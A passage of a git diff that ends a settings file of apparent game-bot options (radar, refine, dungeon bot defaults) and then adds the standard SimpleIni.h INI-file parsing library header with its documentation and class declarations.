true; +bool Settings::RADAR_WAYPOINT_SHOW_ENABLE = true; +float Settings::RADAR_ZOOM = 1.0; + +//################# REFINE + +int Settings::REFINE_UPGRADE_TYPE = 0; +int Settings::REFINE_UPGRADE_COUNT = 1; +int Settings::REFINE_ITEM_SLOT = 1; + +//################# OTHER + +bool Settings::GLOBAL_SWITCH_ENABLE = false; +bool Settings::DUNGEON_BOT_ENABLE = false; +int Settings::DUNGEON_TYPE = 0; +DWORD Settings::INVENTORY_PAGE_SIZE = 45; +DWORD Settings::INVENTORY_PAGE_COUNT = 4; \ No newline at end of file diff --git a/EngineX-Pro/SimpleIni.h b/EngineX-Pro/SimpleIni.h new file mode 100644 index 0000000..865a3df --- /dev/null +++ b/EngineX-Pro/SimpleIni.h @@ -0,0 +1,3439 @@ +/** @mainpage + + +
Library SimpleIni +
File SimpleIni.h +
Author Brodie Thiesfield [code at jellycan dot com] +
Source https://github.com/brofield/simpleini +
Version 4.17 +
+ + Jump to the @link CSimpleIniTempl CSimpleIni @endlink interface documentation. + + @section intro INTRODUCTION + + This component allows an INI-style configuration file to be used on both + Windows and Linux/Unix. It is fast, simple and source code using this + component will compile unchanged on either OS. + + + @section features FEATURES + + - MIT Licence allows free use in all software (including GPL and commercial) + - multi-platform (Windows CE/9x/NT..10/etc, Linux, MacOSX, Unix) + - loading and saving of INI-style configuration files + - configuration files can have any newline format on all platforms + - liberal acceptance of file format + - key/values with no section + - removal of whitespace around sections, keys and values + - support for multi-line values (values with embedded newline characters) + - optional support for multiple keys with the same name + - optional case-insensitive sections and keys (for ASCII characters only) + - saves files with sections and keys in the same order as they were loaded + - preserves comments on the file, section and keys where possible. + - supports both char or wchar_t programming interfaces + - supports both MBCS (system locale) and UTF-8 file encodings + - system locale does not need to be UTF-8 on Linux/Unix to load UTF-8 file + - support for non-ASCII characters in section, keys, values and comments + - support for non-standard character types or file encodings + via user-written converter classes + - support for adding/modifying values programmatically + - compiles cleanly in the following compilers: + - Windows/VC6 (warning level 3) + - Windows/VC.NET 2003 (warning level 4) + - Windows/VC 2005 (warning level 4) + - Linux/gcc (-Wall) + + + @section usage USAGE SUMMARY + + -# Define the appropriate symbol for the converter you wish to use and + include the SimpleIni.h header file. If no specific converter is defined + then the default converter is used. The default conversion mode uses + SI_CONVERT_WIN32 on Windows and SI_CONVERT_GENERIC on all other + platforms. If you are using ICU then SI_CONVERT_ICU is supported on all + platforms. + -# Declare an instance the appropriate class. Note that the following + definitions are just shortcuts for commonly used types. Other types + (PRUnichar, unsigned short, unsigned char) are also possible. + +
Interface Case-sensitive Load UTF-8 Load MBCS Typedef +
SI_CONVERT_GENERIC +
char No Yes Yes #1 CSimpleIniA +
char Yes Yes Yes CSimpleIniCaseA +
wchar_t No Yes Yes CSimpleIniW +
wchar_t Yes Yes Yes CSimpleIniCaseW +
SI_CONVERT_WIN32 +
char No No #2 Yes CSimpleIniA +
char Yes Yes Yes CSimpleIniCaseA +
wchar_t No Yes Yes CSimpleIniW +
wchar_t Yes Yes Yes CSimpleIniCaseW +
SI_CONVERT_ICU +
char No Yes Yes CSimpleIniA +
char Yes Yes Yes CSimpleIniCaseA +
UChar No Yes Yes CSimpleIniW +
UChar Yes Yes Yes CSimpleIniCaseW +
+ #1 On Windows you are better to use CSimpleIniA with SI_CONVERT_WIN32.
+ #2 Only affects Windows. On Windows this uses MBCS functions and + so may fold case incorrectly leading to uncertain results. + -# Call LoadData() or LoadFile() to load and parse the INI configuration file + -# Access and modify the data of the file using the following functions + +
GetAllSections Return all section names +
GetAllKeys Return all key names within a section +
GetAllValues Return all values within a section & key +
GetSection Return all key names and values in a section +
GetSectionSize Return the number of keys in a section +
GetValue Return a value for a section & key +
SetValue Add or update a value for a section & key +
Delete Remove a section, or a key from a section +
+ -# Call Save() or SaveFile() to save the INI configuration data + + @section iostreams IO STREAMS + + SimpleIni supports reading from and writing to STL IO streams. Enable this + by defining SI_SUPPORT_IOSTREAMS before including the SimpleIni.h header + file. Ensure that if the streams are backed by a file (e.g. ifstream or + ofstream) then the flag ios_base::binary has been used when the file was + opened. + + @section multiline MULTI-LINE VALUES + + Values that span multiple lines are created using the following format. + +
+		key = <<
+
+	Note the following:
+	- The text used for ENDTAG can be anything and is used to find
+	  where the multi-line text ends.
+	- The newline after ENDTAG in the start tag, and the newline
+	  before ENDTAG in the end tag is not included in the data value.
+	- The ending tag must be on it's own line with no whitespace before
+	  or after it.
+	- The multi-line value is modified at load so that each line in the value
+	  is delimited by a single '\\n' character on all platforms. At save time
+	  it will be converted into the newline format used by the current
+	  platform.
+
+	@section comments COMMENTS
+
+	Comments are preserved in the file within the following restrictions:
+	- Every file may have a single "file comment". It must start with the
+	  first character in the file, and will end with the first non-comment
+	  line in the file.
+	- Every section may have a single "section comment". It will start
+	  with the first comment line following the file comment, or the last
+	  data entry. It ends at the beginning of the section.
+	- Every key may have a single "key comment". This comment will start
+	  with the first comment line following the section start, or the file
+	  comment if there is no section name.
+	- Comments are set at the time that the file, section or key is first
+	  created. The only way to modify a comment on a section or a key is to
+	  delete that entry and recreate it with the new comment. There is no
+	  way to change the file comment.
+
+	@section save SAVE ORDER
+
+	The sections and keys are written out in the same order as they were
+	read in from the file. Sections and keys added to the data after the
+	file has been loaded will be added to the end of the file when it is
+	written. There is no way to specify the location of a section or key
+	other than in first-created, first-saved order.
+
+	@section notes NOTES
+
+	- To load UTF-8 data on Windows 95, you need to use Microsoft Layer for
+	  Unicode, or SI_CONVERT_GENERIC, or SI_CONVERT_ICU.
+	- When using SI_CONVERT_GENERIC, ConvertUTF.c must be compiled and linked.
+	- When using SI_CONVERT_ICU, ICU header files must be on the include
+	  path and icuuc.lib must be linked in.
+	- To load a UTF-8 file on Windows AND expose it with SI_CHAR == char,
+	  you should use SI_CONVERT_GENERIC.
+	- The collation (sorting) order used for sections and keys returned from
+	  iterators is NOT DEFINED. If collation order of the text is important
+	  then it should be done yourself by either supplying a replacement
+	  SI_STRLESS class, or by sorting the strings external to this library.
+	- Usage of the  header on Windows can be disabled by defining
+	  SI_NO_MBCS. This is defined automatically on Windows CE platforms.
+	- Not thread-safe so manage your own locking
+
+	@section contrib CONTRIBUTIONS
+
+	- 2010/05/03: Tobias Gehrig: added GetDoubleValue()
+
+	@section licence MIT LICENCE
+
+	The licence text below is the boilerplate "MIT Licence" used from:
+	http://www.opensource.org/licenses/mit-license.php
+
+	Copyright (c) 2006-2012, Brodie Thiesfield
+
+	Permission is hereby granted, free of charge, to any person obtaining a copy
+	of this software and associated documentation files (the "Software"), to deal
+	in the Software without restriction, including without limitation the rights
+	to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+	copies of the Software, and to permit persons to whom the Software is furnished
+	to do so, subject to the following conditions:
+
+	The above copyright notice and this permission notice shall be included in
+	all copies or substantial portions of the Software.
+
+	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+	IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+	FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+	COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+	IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+	CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+*/
+
+#ifndef INCLUDED_SimpleIni_h
+#define INCLUDED_SimpleIni_h
+
+#if defined(_MSC_VER) && (_MSC_VER >= 1020)
+# pragma once
+#endif
+
+// Disable these warnings in MSVC:
+//  4127 "conditional expression is constant" as the conversion classes trigger
+//  it with the statement if (sizeof(SI_CHAR) == sizeof(char)). This test will
+//  be optimized away in a release build.
+//  4503 'insert' : decorated name length exceeded, name was truncated
+//  4702 "unreachable code" as the MS STL header causes it in release mode.
+//  Again, the code causing the warning will be cleaned up by the compiler.
+//  4786 "identifier truncated to 256 characters" as this is thrown hundreds
+//  of times VC6 as soon as STL is used.
+#ifdef _MSC_VER
+# pragma warning (push)
+# pragma warning (disable: 4127 4503 4702 4786)
+#endif
+
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+#include 
+
+#ifdef SI_SUPPORT_IOSTREAMS
+# include 
+#endif // SI_SUPPORT_IOSTREAMS
+
+#ifdef _DEBUG
+# ifndef assert
+#  include 
+# endif
+# define SI_ASSERT(x)   assert(x)
+#else
+# define SI_ASSERT(x)
+#endif
+
+enum SI_Error {
+	SI_OK = 0,   //!< No error
+	SI_UPDATED = 1,   //!< An existing value was updated
+	SI_INSERTED = 2,   //!< A new value was inserted
+
+	// note: test for any error with (retval < 0)
+	SI_FAIL = -1,   //!< Generic failure
+	SI_NOMEM = -2,   //!< Out of memory error
+	SI_FILE = -3    //!< File error (see errno for detail error)
+};
+
+#define SI_UTF8_SIGNATURE     "\xEF\xBB\xBF"
+
+#ifdef _WIN32
+# define SI_NEWLINE_A   "\r\n"
+# define SI_NEWLINE_W   L"\r\n"
+#else // !_WIN32
+# define SI_NEWLINE_A   "\n"
+# define SI_NEWLINE_W   L"\n"
+#endif // _WIN32
+
+#if defined(SI_CONVERT_ICU)
+# include 
+#endif
+
+#if defined(_WIN32)
+# define SI_HAS_WIDE_FILE
+# define SI_WCHAR_T     wchar_t
+#elif defined(SI_CONVERT_ICU)
+# define SI_HAS_WIDE_FILE
+# define SI_WCHAR_T     UChar
+#endif
+
+
+// ---------------------------------------------------------------------------
+//                              MAIN TEMPLATE CLASS
+// ---------------------------------------------------------------------------
+
+/** Simple INI file reader.
+
+	This can be instantiated with the choice of unicode or native characterset,
+	and case sensitive or insensitive comparisons of section and key names.
+	The supported combinations are pre-defined with the following typedefs:
+
+	
+		
Interface Case-sensitive Typedef +
char No CSimpleIniA +
char Yes CSimpleIniCaseA +
wchar_t No CSimpleIniW +
wchar_t Yes CSimpleIniCaseW +
+ + Note that using other types for the SI_CHAR is supported. For instance, + unsigned char, unsigned short, etc. Note that where the alternative type + is a different size to char/wchar_t you may need to supply new helper + classes for SI_STRLESS and SI_CONVERTER. + */ +template +class CSimpleIniTempl +{ +public: + typedef SI_CHAR SI_CHAR_T; + + /** key entry */ + struct Entry { + const SI_CHAR* pItem; + const SI_CHAR* pComment; + int nOrder; + + Entry(const SI_CHAR* a_pszItem = NULL, int a_nOrder = 0) + : pItem(a_pszItem) + , pComment(NULL) + , nOrder(a_nOrder) + { } + Entry(const SI_CHAR* a_pszItem, const SI_CHAR* a_pszComment, int a_nOrder) + : pItem(a_pszItem) + , pComment(a_pszComment) + , nOrder(a_nOrder) + { } + Entry(const Entry& rhs) { operator=(rhs); } + Entry& operator=(const Entry& rhs) { + pItem = rhs.pItem; + pComment = rhs.pComment; + nOrder = rhs.nOrder; + return *this; + } + +#if defined(_MSC_VER) && _MSC_VER <= 1200 + /** STL of VC6 doesn't allow me to specify my own comparator for list::sort() */ + bool operator<(const Entry& rhs) const { return LoadOrder()(*this, rhs); } + bool operator>(const Entry& rhs) const { return LoadOrder()(rhs, *this); } +#endif + + /** Strict less ordering by name of key only */ + struct KeyOrder { + bool operator()(const Entry& lhs, const Entry& rhs) const { + const static SI_STRLESS isLess = SI_STRLESS(); + return isLess(lhs.pItem, rhs.pItem); + } + }; + + /** Strict less ordering by order, and then name of key */ + struct LoadOrder { + bool operator()(const Entry& lhs, const Entry& rhs) const { + if (lhs.nOrder != rhs.nOrder) { + return lhs.nOrder < rhs.nOrder; + } + return KeyOrder()(lhs.pItem, rhs.pItem); + } + }; + }; + + /** map keys to values */ + typedef std::multimap TKeyVal; + + /** map sections to key/value map */ + typedef std::map TSection; + + /** set of dependent string pointers. Note that these pointers are + dependent on memory owned by CSimpleIni. + */ + typedef std::list TNamesDepend; + + /** interface definition for the OutputWriter object to pass to Save() + in order to output the INI file data. + */ + class OutputWriter { + public: + OutputWriter() { } + virtual ~OutputWriter() { } + virtual void Write(const char* a_pBuf) = 0; + private: + OutputWriter(const OutputWriter&); // disable + OutputWriter& operator=(const OutputWriter&); // disable + }; + + /** OutputWriter class to write the INI data to a file */ + class FileWriter : public OutputWriter { + FILE* m_file; + public: + FileWriter(FILE* a_file) : m_file(a_file) { } + void Write(const char* a_pBuf) { + fputs(a_pBuf, m_file); + } + private: + FileWriter(const FileWriter&); // disable + FileWriter& operator=(const FileWriter&); // disable + }; + + /** OutputWriter class to write the INI data to a string */ + class StringWriter : public OutputWriter { + std::string& m_string; + public: + StringWriter(std::string& a_string) : m_string(a_string) { } + void Write(const char* a_pBuf) { + m_string.append(a_pBuf); + } + private: + StringWriter(const StringWriter&); // disable + StringWriter& operator=(const StringWriter&); // disable + }; + +#ifdef SI_SUPPORT_IOSTREAMS + /** OutputWriter class to write the INI data to an ostream */ + class StreamWriter : public OutputWriter { + std::ostream& m_ostream; + public: + StreamWriter(std::ostream& a_ostream) : m_ostream(a_ostream) { } + void Write(const char* a_pBuf) { + m_ostream << a_pBuf; + } + private: + StreamWriter(const StreamWriter&); // disable + StreamWriter& operator=(const StreamWriter&); // disable + }; +#endif // SI_SUPPORT_IOSTREAMS + + /** Characterset conversion utility class to convert strings to the + same format as is used for the storage. + */ + class Converter : private SI_CONVERTER { + public: + Converter(bool a_bStoreIsUtf8) : SI_CONVERTER(a_bStoreIsUtf8) { + m_scratch.resize(1024); + } + Converter(const Converter& rhs) { operator=(rhs); } + Converter& operator=(const Converter& rhs) { + m_scratch = rhs.m_scratch; + return *this; + } + bool ConvertToStore(const SI_CHAR* a_pszString) { + size_t uLen = SI_CONVERTER::SizeToStore(a_pszString); + if (uLen == (size_t)(-1)) { + return false; + } + while (uLen > m_scratch.size()) { + m_scratch.resize(m_scratch.size() * 2); + } + return SI_CONVERTER::ConvertToStore( + a_pszString, + const_cast(m_scratch.data()), + m_scratch.size()); + } + const char* Data() { return m_scratch.data(); } + private: + std::string m_scratch; + }; + +public: + /*-----------------------------------------------------------------------*/ + + /** Default constructor. + + @param a_bIsUtf8 See the method SetUnicode() for details. + @param a_bMultiKey See the method SetMultiKey() for details. + @param a_bMultiLine See the method SetMultiLine() for details. + */ + CSimpleIniTempl( + bool a_bIsUtf8 = false, + bool a_bMultiKey = false, + bool a_bMultiLine = false + ); + + /** Destructor */ + ~CSimpleIniTempl(); + + /** Deallocate all memory stored by this object */ + void Reset(); + + /** Has any data been loaded */ + bool IsEmpty() const { return m_data.empty(); } + + /*-----------------------------------------------------------------------*/ + /** @{ @name Settings */ + + /** Set the storage format of the INI data. This affects both the loading + and saving of the INI data using all of the Load/Save API functions. + This value cannot be changed after any INI data has been loaded. + + If the file is not set to Unicode (UTF-8), then the data encoding is + assumed to be the OS native encoding. This encoding is the system + locale on Linux/Unix and the legacy MBCS encoding on Windows NT/2K/XP. + If the storage format is set to Unicode then the file will be loaded + as UTF-8 encoded data regardless of the native file encoding. If + SI_CHAR == char then all of the char* parameters take and return UTF-8 + encoded data regardless of the system locale. + + \param a_bIsUtf8 Assume UTF-8 encoding for the source? + */ + void SetUnicode(bool a_bIsUtf8 = true) { + if (!m_pData) m_bStoreIsUtf8 = a_bIsUtf8; + } + + /** Get the storage format of the INI data. */ + bool IsUnicode() const { return m_bStoreIsUtf8; } + + /** Should multiple identical keys be permitted in the file. If set to false + then the last value encountered will be used as the value of the key. + If set to true, then all values will be available to be queried. For + example, with the following input: + +
+		[section]
+		test=value1
+		test=value2
+		
+ + Then with SetMultiKey(true), both of the values "value1" and "value2" + will be returned for the key test. If SetMultiKey(false) is used, then + the value for "test" will only be "value2". This value may be changed + at any time. + + \param a_bAllowMultiKey Allow multi-keys in the source? + */ + void SetMultiKey(bool a_bAllowMultiKey = true) { + m_bAllowMultiKey = a_bAllowMultiKey; + } + + /** Get the storage format of the INI data. */ + bool IsMultiKey() const { return m_bAllowMultiKey; } + + /** Should data values be permitted to span multiple lines in the file. If + set to false then the multi-line construct << + SI_CHAR FORMAT + char same format as when loaded (MBCS or UTF-8) + wchar_t UTF-8 + other UTF-8 + + + Note that comments from the original data is preserved as per the + documentation on comments. The order of the sections and values + from the original file will be preserved. + + Any data prepended or appended to the output device must use the the + same format (MBCS or UTF-8). You may use the GetConverter() method to + convert text to the correct format regardless of the output format + being used by SimpleIni. + + To add a BOM to UTF-8 data, write it out manually at the very beginning + like is done in SaveFile when a_bUseBOM is true. + + @param a_oOutput Output writer to write the data to. + + @param a_bAddSignature Prepend the UTF-8 BOM if the output data is in + UTF-8 format. If it is not UTF-8 then this value is + ignored. Do not set this to true if anything has + already been written to the OutputWriter. + + @return SI_Error See error definitions + */ + SI_Error Save( + OutputWriter& a_oOutput, + bool a_bAddSignature = false + ) const; + +#ifdef SI_SUPPORT_IOSTREAMS + /** Save the INI data to an ostream. See Save() for details. + + @param a_ostream String to have the INI data appended to. + + @param a_bAddSignature Prepend the UTF-8 BOM if the output data is in + UTF-8 format. If it is not UTF-8 then this value is + ignored. Do not set this to true if anything has + already been written to the stream. + + @return SI_Error See error definitions + */ + SI_Error Save( + std::ostream& a_ostream, + bool a_bAddSignature = false + ) const + { + StreamWriter writer(a_ostream); + return Save(writer, a_bAddSignature); + } +#endif // SI_SUPPORT_IOSTREAMS + + /** Append the INI data to a string. See Save() for details. + + @param a_sBuffer String to have the INI data appended to. + + @param a_bAddSignature Prepend the UTF-8 BOM if the output data is in + UTF-8 format. If it is not UTF-8 then this value is + ignored. Do not set this to true if anything has + already been written to the string. + + @return SI_Error See error definitions + */ + SI_Error Save( + std::string& a_sBuffer, + bool a_bAddSignature = false + ) const + { + StringWriter writer(a_sBuffer); + return Save(writer, a_bAddSignature); + } + + /*-----------------------------------------------------------------------*/ + /** @} + @{ @name Accessing INI Data */ + + /** Retrieve all section names. The list is returned as an STL vector of + names and can be iterated or searched as necessary. Note that the + sort order of the returned strings is NOT DEFINED. You can sort + the names into the load order if desired. Search this file for ".sort" + for an example. + + NOTE! This structure contains only pointers to strings. The actual + string data is stored in memory owned by CSimpleIni. Ensure that the + CSimpleIni object is not destroyed or Reset() while these pointers + are in use! + + @param a_names Vector that will receive all of the section + names. See note above! + */ + void GetAllSections( + TNamesDepend& a_names + ) const; + + /** Retrieve all unique key names in a section. The sort order of the + returned strings is NOT DEFINED. You can sort the names into the load + order if desired. Search this file for ".sort" for an example. Only + unique key names are returned. + + NOTE! This structure contains only pointers to strings. The actual + string data is stored in memory owned by CSimpleIni. Ensure that the + CSimpleIni object is not destroyed or Reset() while these strings + are in use! + + @param a_pSection Section to request data for + @param a_names List that will receive all of the key + names. See note above! + + @return true Section was found. + @return false Matching section was not found. + */ + bool GetAllKeys( + const SI_CHAR* a_pSection, + TNamesDepend& a_names + ) const; + + /** Retrieve all values for a specific key. This method can be used when + multiple keys are both enabled and disabled. Note that the sort order + of the returned strings is NOT DEFINED. You can sort the names into + the load order if desired. Search this file for ".sort" for an example. + + NOTE! The returned values are pointers to string data stored in memory + owned by CSimpleIni. Ensure that the CSimpleIni object is not destroyed + or Reset while you are using this pointer! + + @param a_pSection Section to search + @param a_pKey Key to search for + @param a_values List to return if the key is not found + + @return true Key was found. + @return false Matching section/key was not found. + */ + bool GetAllValues( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + TNamesDepend& a_values + ) const; + + /** Query the number of keys in a specific section. Note that if multiple + keys are enabled, then this value may be different to the number of + keys returned by GetAllKeys. + + @param a_pSection Section to request data for + + @return -1 Section does not exist in the file + @return >=0 Number of keys in the section + */ + int GetSectionSize( + const SI_CHAR* a_pSection + ) const; + + /** Retrieve all key and value pairs for a section. The data is returned + as a pointer to an STL map and can be iterated or searched as + desired. Note that multiple entries for the same key may exist when + multiple keys have been enabled. + + NOTE! This structure contains only pointers to strings. The actual + string data is stored in memory owned by CSimpleIni. Ensure that the + CSimpleIni object is not destroyed or Reset() while these strings + are in use! + + @param a_pSection Name of the section to return + @return boolean Was a section matching the supplied + name found. + */ + const TKeyVal* GetSection( + const SI_CHAR* a_pSection + ) const; + + /** Retrieve the value for a specific key. If multiple keys are enabled + (see SetMultiKey) then only the first value associated with that key + will be returned, see GetAllValues for getting all values with multikey. + + NOTE! The returned value is a pointer to string data stored in memory + owned by CSimpleIni. Ensure that the CSimpleIni object is not destroyed + or Reset while you are using this pointer! + + @param a_pSection Section to search + @param a_pKey Key to search for + @param a_pDefault Value to return if the key is not found + @param a_pHasMultiple Optionally receive notification of if there are + multiple entries for this key. + + @return a_pDefault Key was not found in the section + @return other Value of the key + */ + const SI_CHAR* GetValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + const SI_CHAR* a_pDefault = NULL, + bool* a_pHasMultiple = NULL + ) const; + + /** Retrieve a numeric value for a specific key. If multiple keys are enabled + (see SetMultiKey) then only the first value associated with that key + will be returned, see GetAllValues for getting all values with multikey. + + @param a_pSection Section to search + @param a_pKey Key to search for + @param a_nDefault Value to return if the key is not found + @param a_pHasMultiple Optionally receive notification of if there are + multiple entries for this key. + + @return a_nDefault Key was not found in the section + @return other Value of the key + */ + long GetLongValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + long a_nDefault = 0, + bool* a_pHasMultiple = NULL + ) const; + + /** Retrieve a numeric value for a specific key. If multiple keys are enabled + (see SetMultiKey) then only the first value associated with that key + will be returned, see GetAllValues for getting all values with multikey. + + @param a_pSection Section to search + @param a_pKey Key to search for + @param a_nDefault Value to return if the key is not found + @param a_pHasMultiple Optionally receive notification of if there are + multiple entries for this key. + + @return a_nDefault Key was not found in the section + @return other Value of the key + */ + double GetDoubleValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + double a_nDefault = 0, + bool* a_pHasMultiple = NULL + ) const; + + /** Retrieve a boolean value for a specific key. If multiple keys are enabled + (see SetMultiKey) then only the first value associated with that key + will be returned, see GetAllValues for getting all values with multikey. + + Strings starting with "t", "y", "on" or "1" are returned as logically true. + Strings starting with "f", "n", "of" or "0" are returned as logically false. + For all other values the default is returned. Character comparisons are + case-insensitive. + + @param a_pSection Section to search + @param a_pKey Key to search for + @param a_bDefault Value to return if the key is not found + @param a_pHasMultiple Optionally receive notification of if there are + multiple entries for this key. + + @return a_nDefault Key was not found in the section + @return other Value of the key + */ + bool GetBoolValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + bool a_bDefault = false, + bool* a_pHasMultiple = NULL + ) const; + + /** Add or update a section or value. This will always insert + when multiple keys are enabled. + + @param a_pSection Section to add or update + @param a_pKey Key to add or update. Set to NULL to + create an empty section. + @param a_pValue Value to set. Set to NULL to create an + empty section. + @param a_pComment Comment to be associated with the section or the + key. If a_pKey is NULL then it will be associated + with the section, otherwise the key. Note that a + comment may be set ONLY when the section or key is + first created (i.e. when this function returns the + value SI_INSERTED). If you wish to create a section + with a comment then you need to create the section + separately to the key. The comment string must be + in full comment form already (have a comment + character starting every line). + @param a_bForceReplace Should all existing values in a multi-key INI + file be replaced with this entry. This option has + no effect if not using multi-key files. The + difference between Delete/SetValue and SetValue + with a_bForceReplace = true, is that the load + order and comment will be preserved this way. + + @return SI_Error See error definitions + @return SI_UPDATED Value was updated + @return SI_INSERTED Value was inserted + */ + SI_Error SetValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + const SI_CHAR* a_pValue, + const SI_CHAR* a_pComment = NULL, + bool a_bForceReplace = false + ) + { + return AddEntry(a_pSection, a_pKey, a_pValue, a_pComment, a_bForceReplace, true); + } + + /** Add or update a numeric value. This will always insert + when multiple keys are enabled. + + @param a_pSection Section to add or update + @param a_pKey Key to add or update. + @param a_nValue Value to set. + @param a_pComment Comment to be associated with the key. See the + notes on SetValue() for comments. + @param a_bUseHex By default the value will be written to the file + in decimal format. Set this to true to write it + as hexadecimal. + @param a_bForceReplace Should all existing values in a multi-key INI + file be replaced with this entry. This option has + no effect if not using multi-key files. The + difference between Delete/SetLongValue and + SetLongValue with a_bForceReplace = true, is that + the load order and comment will be preserved this + way. + + @return SI_Error See error definitions + @return SI_UPDATED Value was updated + @return SI_INSERTED Value was inserted + */ + SI_Error SetLongValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + long a_nValue, + const SI_CHAR* a_pComment = NULL, + bool a_bUseHex = false, + bool a_bForceReplace = false + ); + + /** Add or update a double value. This will always insert + when multiple keys are enabled. + + @param a_pSection Section to add or update + @param a_pKey Key to add or update. + @param a_nValue Value to set. + @param a_pComment Comment to be associated with the key. See the + notes on SetValue() for comments. + @param a_bForceReplace Should all existing values in a multi-key INI + file be replaced with this entry. This option has + no effect if not using multi-key files. The + difference between Delete/SetDoubleValue and + SetDoubleValue with a_bForceReplace = true, is that + the load order and comment will be preserved this + way. + + @return SI_Error See error definitions + @return SI_UPDATED Value was updated + @return SI_INSERTED Value was inserted + */ + SI_Error SetDoubleValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + double a_nValue, + const SI_CHAR* a_pComment = NULL, + bool a_bForceReplace = false + ); + + /** Add or update a boolean value. This will always insert + when multiple keys are enabled. + + @param a_pSection Section to add or update + @param a_pKey Key to add or update. + @param a_bValue Value to set. + @param a_pComment Comment to be associated with the key. See the + notes on SetValue() for comments. + @param a_bForceReplace Should all existing values in a multi-key INI + file be replaced with this entry. This option has + no effect if not using multi-key files. The + difference between Delete/SetBoolValue and + SetBoolValue with a_bForceReplace = true, is that + the load order and comment will be preserved this + way. + + @return SI_Error See error definitions + @return SI_UPDATED Value was updated + @return SI_INSERTED Value was inserted + */ + SI_Error SetBoolValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + bool a_bValue, + const SI_CHAR* a_pComment = NULL, + bool a_bForceReplace = false + ); + + /** Delete an entire section, or a key from a section. Note that the + data returned by GetSection is invalid and must not be used after + anything has been deleted from that section using this method. + Note when multiple keys is enabled, this will delete all keys with + that name; to selectively delete individual key/values, use + DeleteValue. + + @param a_pSection Section to delete key from, or if + a_pKey is NULL, the section to remove. + @param a_pKey Key to remove from the section. Set to + NULL to remove the entire section. + @param a_bRemoveEmpty If the section is empty after this key has + been deleted, should the empty section be + removed? + + @return true Key or section was deleted. + @return false Key or section was not found. + */ + bool Delete( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + bool a_bRemoveEmpty = false + ); + + /** Delete an entire section, or a key from a section. If value is + provided, only remove keys with the value. Note that the data + returned by GetSection is invalid and must not be used after + anything has been deleted from that section using this method. + Note when multiple keys is enabled, all keys with the value will + be deleted. + + @param a_pSection Section to delete key from, or if + a_pKey is NULL, the section to remove. + @param a_pKey Key to remove from the section. Set to + NULL to remove the entire section. + @param a_pValue Value of key to remove from the section. + Set to NULL to remove all keys. + @param a_bRemoveEmpty If the section is empty after this key has + been deleted, should the empty section be + removed? + + @return true Key/value or section was deleted. + @return false Key/value or section was not found. + */ + bool DeleteValue( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + const SI_CHAR* a_pValue, + bool a_bRemoveEmpty = false + ); + + /*-----------------------------------------------------------------------*/ + /** @} + @{ @name Converter */ + + /** Return a conversion object to convert text to the same encoding + as is used by the Save(), SaveFile() and SaveString() functions. + Use this to prepare the strings that you wish to append or prepend + to the output INI data. + */ + Converter GetConverter() const { + return Converter(m_bStoreIsUtf8); + } + + /*-----------------------------------------------------------------------*/ + /** @} */ + +private: + // copying is not permitted + CSimpleIniTempl(const CSimpleIniTempl&); // disabled + CSimpleIniTempl& operator=(const CSimpleIniTempl&); // disabled + + /** Parse the data looking for a file comment and store it if found. + */ + SI_Error FindFileComment( + SI_CHAR*& a_pData, + bool a_bCopyStrings + ); + + /** Parse the data looking for the next valid entry. The memory pointed to + by a_pData is modified by inserting NULL characters. The pointer is + updated to the current location in the block of text. + */ + bool FindEntry( + SI_CHAR*& a_pData, + const SI_CHAR*& a_pSection, + const SI_CHAR*& a_pKey, + const SI_CHAR*& a_pVal, + const SI_CHAR*& a_pComment + ) const; + + /** Add the section/key/value to our data. + + @param a_pSection Section name. Sections will be created if they + don't already exist. + @param a_pKey Key name. May be NULL to create an empty section. + Existing entries will be updated. New entries will + be created. + @param a_pValue Value for the key. + @param a_pComment Comment to be associated with the section or the + key. If a_pKey is NULL then it will be associated + with the section, otherwise the key. This must be + a string in full comment form already (have a + comment character starting every line). + @param a_bForceReplace Should all existing values in a multi-key INI + file be replaced with this entry. This option has + no effect if not using multi-key files. The + difference between Delete/AddEntry and AddEntry + with a_bForceReplace = true, is that the load + order and comment will be preserved this way. + @param a_bCopyStrings Should copies of the strings be made or not. + If false then the pointers will be used as is. + */ + SI_Error AddEntry( + const SI_CHAR* a_pSection, + const SI_CHAR* a_pKey, + const SI_CHAR* a_pValue, + const SI_CHAR* a_pComment, + bool a_bForceReplace, + bool a_bCopyStrings + ); + + /** Is the supplied character a whitespace character? */ + inline bool IsSpace(SI_CHAR ch) const { + return (ch == ' ' || ch == '\t' || ch == '\r' || ch == '\n'); + } + + /** Does the supplied character start a comment line? */ + inline bool IsComment(SI_CHAR ch) const { + return (ch == ';' || ch == '#'); + } + + + /** Skip over a newline character (or characters) for either DOS or UNIX */ + inline void SkipNewLine(SI_CHAR*& a_pData) const { + a_pData += (*a_pData == '\r' && *(a_pData + 1) == '\n') ? 2 : 1; + } + + /** Make a copy of the supplied string, replacing the original pointer */ + SI_Error CopyString(const SI_CHAR*& a_pString); + + /** Delete a string from the copied strings buffer if necessary */ + void DeleteString(const SI_CHAR* a_pString); + + /** Internal use of our string comparison function */ + bool IsLess(const SI_CHAR* a_pLeft, const SI_CHAR* a_pRight) const { + const static SI_STRLESS isLess = SI_STRLESS(); + return isLess(a_pLeft, a_pRight); + } + + bool IsMultiLineTag(const SI_CHAR* a_pData) const; + bool 